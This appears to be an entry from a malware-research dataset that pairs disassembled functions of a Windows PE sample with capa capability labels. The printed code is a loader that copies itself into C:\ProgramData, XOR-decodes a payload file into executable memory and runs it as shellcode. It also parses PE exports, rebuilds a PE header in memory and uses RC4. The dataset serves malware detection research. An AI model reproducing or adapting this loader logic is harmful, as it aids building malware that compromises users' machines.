joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10010bc0
push 0x10006610
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10012018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
lea esi, [ecx + 0x10000]
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea edi, [eax - 2]
push 0x1c
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10004606
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x24], 0x1000
jne 0x10004682
mov eax, dword [ebp - 0x20]
cmp al, 1
je 0x10004682
test eax, 0x100
jne 0x10004682
mov dword [ebp - 4], 0
mov ecx, 0x5a4d
cmp word [esi], cx
jne 0x1000467f
mov eax, dword [esi + 0x3c]
cmp eax, dword [ebp - 0x28]
ja 0x1000467f
cmp eax, 0x40
jb 0x1000467f
cmp dword [eax + esi], 0x4550
jne 0x1000467f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], edi
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], edi
mov esi, dword [ebp - 0x28]
add esi, dword [ebp - 0x34]
jmp 0x100045e3
Function at 0x100047a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10010b80
push 0x10006610
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10012018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov ecx, eax
mov dword [ebp + 8], ecx
xor esi, esi
cmp eax, esi
jne 0x100047ed
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp + 8], eax
mov ecx, eax
mov dword [ebp - 4], esi
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x10004804
push 0xc1
jmp 0x100048ee
mov edx, dword [ecx + 0x3c]
add edx, ecx
mov dword [ebp - 0x20], edx
cmp dword [edx], 0x4550
je 0x1000481e
push 0xbf
jmp 0x100048ee
movzx ecx, word [edx + 0x14]
cmp cx, si
je 0x100048e9
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 0x1c], esi
movzx edx, word [edx + 6]
cmp esi, edx
jae 0x100048e9
lea ecx, [esi + esi*4]
lea edi, [eax + ecx*8]
mov edx, str..detour
mov ecx, edi
jmp 0x10004850
mov bl, byte [ecx]
cmp bl, byte [edx]
jne 0x10004870
test bl, bl
je 0x1000486c
mov bl, byte [ecx + 1]
cmp bl, byte [edx + 1]
jne 0x10004870
add ecx, 2
add edx, 2
test bl, bl
jne 0x10004850
xor ecx, ecx
jmp 0x10004875
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x100048ca
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x100048e9
cmp dword [edi + 0x10], 0
je 0x100048e9
mov edx, dword [ebp + 8]
lea esi, [ecx + edx]
mov eax, dword [esi]
cmp eax, 0x40
jb 0x100048e9
cmp dword [esi + 4], 0x727444
jne 0x100048e9
cmp dword [esi + 8], 0
jne 0x100048a5
mov dword [esi + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
inc esi
mov edx, dword [ebp - 0x20]
jmp 0x1000482f
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10004cc0
Capabilities:
Resume thread

Disassembly:
call fcn.10004b80
cmp dword [0x10013b78], 0
jne 0x10004cff
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x10013b78
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
jne 0x10004cff
mov dword [0x10013b88], eax
mov dword [0x10013b84], eax
mov dword [0x10013b80], eax
call fcn.10001430
mov dword [0x10013b7c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call fcn.10001c50
push 0x10004c20
push 0x10013fac
call fcn.10001cd0
push 0x10004ca0
push 0x10013fb0
call fcn.10001cd0
jmp fcn.10001900

Function at 0x10004e10
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x10004d30
push 1
mov dword [0x10013b60], eax
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.10004cc0
push 0
push 0
push 0
push 0x10004dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x10005100
Capabilities:
Copy file
Set current directory

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push 0x10013d98
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push str.C:ProgramDataCAMDevelopmentUnZipCAM.exe
push 0x10013d98
call esi
push 0x104
push 0x10013b90
push 0
call edi
push 0x5c
push 0x10013b90
call fcn.10005ac7
add esp, 8
xor ecx, ecx
push 0x10013b90
mov word [eax + 2], cx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 1
push str.C:ProgramDataCAMDevelopmentZipDLL.dll
push 0x1001039c
call esi
push 1
push str.C:ProgramDataCAMDevelopmentzero.offers
push str.zero.offers
call esi
pop edi
pop esi
ret

Function at 0x100051a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x40
push 0x1000
push 0xfe0100
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000537a
push esi
push edi
push str.Start...Code_S_n
call fcn.10005af5
call fcn.10004fd0
push str.Start......Up_Code_Ok_n
call fcn.10005af5
add esp, 8
push 0x104
push 0x10013b90
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push 0x10013b90
call fcn.10005ac7
add esp, 8
xor ecx, ecx
push 0x10013b90
mov word [eax + 2], cx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call fcn.10005070
call fcn.10005100
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.Error_PC
call esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.zero.offers
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, 0xffffffff
je 0x10005378
push str.Start...Code_S_n
call fcn.10005af5
call fcn.10004fd0
push str.Start......Up_Code_Ok_n
call fcn.10005af5
add esp, 8
push 0
lea edx, [ebp - 4]
push edx
push 0xfe0100
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10005378
call fcn.10004e10
xor edi, edi
cmp dword [ebp - 4], edi
jbe 0x10005364
jmp 0x100052a0
push str.a11aaaa
call esi
push str.aaa2aa
call esi
push str.aaa3aa
call esi
push str.aa4aaa
call esi
push str.aaa5aa
call esi
push str.aa6aaa
call esi
push str.aaaaa7
call esi
push str.8aaaaa
call esi
push str.aaa9aa
call esi
push str.aaaa10a
call esi
push str.aaa12aa
call esi
push str.a13aaaa
call esi
push str.aa14aaa
call esi
push str.aa15aaa
call esi
push str.a16aaaa
call esi
push str.aa17aaa
call esi
push str.aaa18aa
call esi
push str.aaaa19a
call esi
push str.aaa20aa
call esi
push str.aaaa21a
call esi
push str.aaa22aa
call esi
push str.a23aaaa
call esi
push str.aa24aaa
call esi
push str.aaa25aa
call esi
push str.aaaa26a
call esi
push str.aaaa27a
call esi
xor byte [edi + ebx], 0x60
inc edi
cmp edi, dword [ebp - 4]
jb 0x100052a0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100053fa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10012018]
jne 0x10005404
repz ret
jmp fcn.100062c2

Function at 0x1000b50a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10012018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100086f1
and dword [ebp - 0x14], 0
cmp dword [0x10013b40], 0
mov dword [ebp - 0x18], eax
jne 0x1000b5bd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000b665
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000b665
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10013b40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10013b44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10013b48], eax
call edi
push eax
call esi
mov dword [0x10013b50], eax
test eax, eax
je 0x1000b5bd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10013b4c], eax
mov eax, dword [0x10013b4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000b616
cmp dword [0x10013b50], ecx
je 0x1000b616
push eax
call esi
push dword [0x10013b50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000b616
test ebx, ebx
je 0x1000b616
call edi
test eax, eax
je 0x1000b60d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000b60d
test byte [ebp - 8], 1
jne 0x1000b616
or dword [ebp + 0x10], 0x200000
jmp 0x1000b649
mov eax, dword [0x10013b44]
cmp eax, dword [ebp - 0x18]
je 0x1000b649
push eax
call esi
test eax, eax
je 0x1000b649
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000b649
mov eax, dword [0x10013b48]
cmp eax, dword [ebp - 0x18]
je 0x1000b649
push eax
call esi
test eax, eax
je 0x1000b649
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10013b40]
call esi
test eax, eax
je 0x1000b665
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000b667
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100053fa
leave
ret
Function at 0x10006796
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x100100a0], 0x1e87
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1000841a]
mov dh, byte [eax + 0x100083eb]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x100067b8
lea eax, [ebp - 0x24]
mov dword [0x100100a0], 0x1579
mov dword [ebp - 0x34], eax
call fcn.10006c57
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10006658
mov ecx, dword [0x100100a0]
add ecx, 0xffffe209
mov dword [0x100100a0], ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x100068e0
mov eax, dword [ebp - 0x38]
mov dword [0x100100a4], 0x2144
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10006df2
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x100100a4], 0xfffff8da
mov dword [ecx + 0xd0], 0x4550
mov dword [0x100100a0], 0xfffff0f0
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x24], ecx
mov esi, dword [0x100100a0]
add esi, 0x1007
mov dword [0x100100a0], esi
add ecx, 0x1000
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x100068d7
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x10006eeb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov ecx, dword [0x100100a0]
add ecx, 0xffffeadb
mov dword [0x100100a4], ecx
mov dword [ebp - 0x10], eax
call fcn.100077d9
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10006f39
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x100100a0], 0x1e82
mov dword [0x100100a4], 0xfffff9ef
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x1000704e
jmp 0x10006f9c
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
jmp 0x1000704e
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x10007019
mov eax, dword [ebp - 0x4c]
add eax, 1
mov cl, byte [ebp - 0x4d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x4e]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x48], eax
jne 0x10006fc8
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x10006f7e
jmp 0x10007026
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
jb 0x10006fae
mov eax, dword [ebp - 0x30]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10007059
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x20
mov dword [ebp - 8], 0
mov dword [0x100100a4], 0x425
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x100100a4]
add esi, 0x1910
mov dword [0x100100a4], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x100070e0
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x100070a0
jmp 0x100070e0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x100070fe
jmp 0x1000715f
mov eax, dword [ebp - 0x1c]
mov dword [0x100100a4], 0x114c
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x10007119
jmp 0x1000715f
mov dword [0x100100a0], 0x1a68
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10007148
jmp 0x1000715f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1000715f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1000715f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x100070cf
jmp 0x1000715f
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x1000716e
xor eax, eax
mov dword [0x100100a0], 0xffffeb02
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add esp, 0x20
pop esi
pop ebp
ret
Function at 0x100075cd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x100100ac], 0
mov byte [0x100100b0], 0
mov edi, dword [0x100100a0]
add edi, 0xfffffade
mov dword [0x100100a4], edi
mov dword [0x100100a8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100076d4
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x100100b4], 0
mov edi, dword [0x100100ac]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x100100b4], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x100100ac], edx
mov dword [0x100100a0], 0x203
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x100100b0], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x100100a0], 0x2364
mov cl, byte [0x100100b0]
mov esi, dword [0x100100ac]
mov byte [ebx + esi], cl
mov esi, dword [0x100100a0]
add esi, 0x1ab4
mov dword [0x100100a4], esi
mov esi, dword [0x100100a8]
add esi, 1
mov dword [0x100100a8], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000761f
jmp 0x10007720
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x100100a8]
add eax, 1
mov dword [0x100100a8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100076d4
xor eax, eax
mov ecx, dword [0x100100a4]
add ecx, 0xffffeabb
mov dword [0x100100a0], ecx
mov dword [0x100100a8], 0
mov dword [ebp - 0x20], eax
jmp 0x1000761f
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10007945
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x100100a0], 0xa46
mov dword [0x100100a8], 0
mov dword [0x100100ac], 0
mov dword [0x100100b8], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x100079ac
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, eax
add edi, 1
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x100100a8], edx
mov ecx, dword [ebp - 0x20]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x100100ac], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x100100b0], cl
mov dword [0x100100a4], 0x111a
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x100100b0]
mov edx, dword [0x100100ac]
mov byte [ebx + edx], cl
mov dword [0x100100a0], 0x126d
mov edx, dword [0x100100a8]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x100100ac]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x100100a0], 0xffffebc4
and ecx, 0xff
mov dword [0x100100b8], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov ch, byte [edx + esi]
mov edx, dword [0x100100a4]
add edx, 0x4c1
mov dword [0x100100a0], edx
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x38], edi
je 0x100079a4
mov eax, dword [0x100100a8]
mov ecx, dword [0x100100ac]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x100079ac
Function at 0x10007aaa
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000719c
lea ecx, [0x100068e8]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x84], edx
mov dword [esp + 0x34], 0x146200
mov edx, dword [0x1001008c]
mov dword [esp + 0x3c], edx
mov edx, dword [0x10010090]
mov dword [esp + 0x30], edx
mov edx, dword [0x10010094]
mov dword [esp + 0x5c], edx
mov edx, dword [0x10010098]
mov dword [esp + 0x4c], edx
mov edx, dword [0x1001009c]
mov dword [esp + 0x7c], edx
mov dword [0x100100a0], 0x526
mov dword [0x100100a4], 0x4cf
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x10007b6e
jmp 0x10007b82
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10006796
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0xc], eax
jmp 0x10007bca
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x10007b96
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10007b31
mov eax, dword [esp + 0x10]
mov dword [esp + 0x74], eax
mov dword [0x100100a0], 0x23a7
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x64], edx
call fcn.10007059
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
je 0x10007b42
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret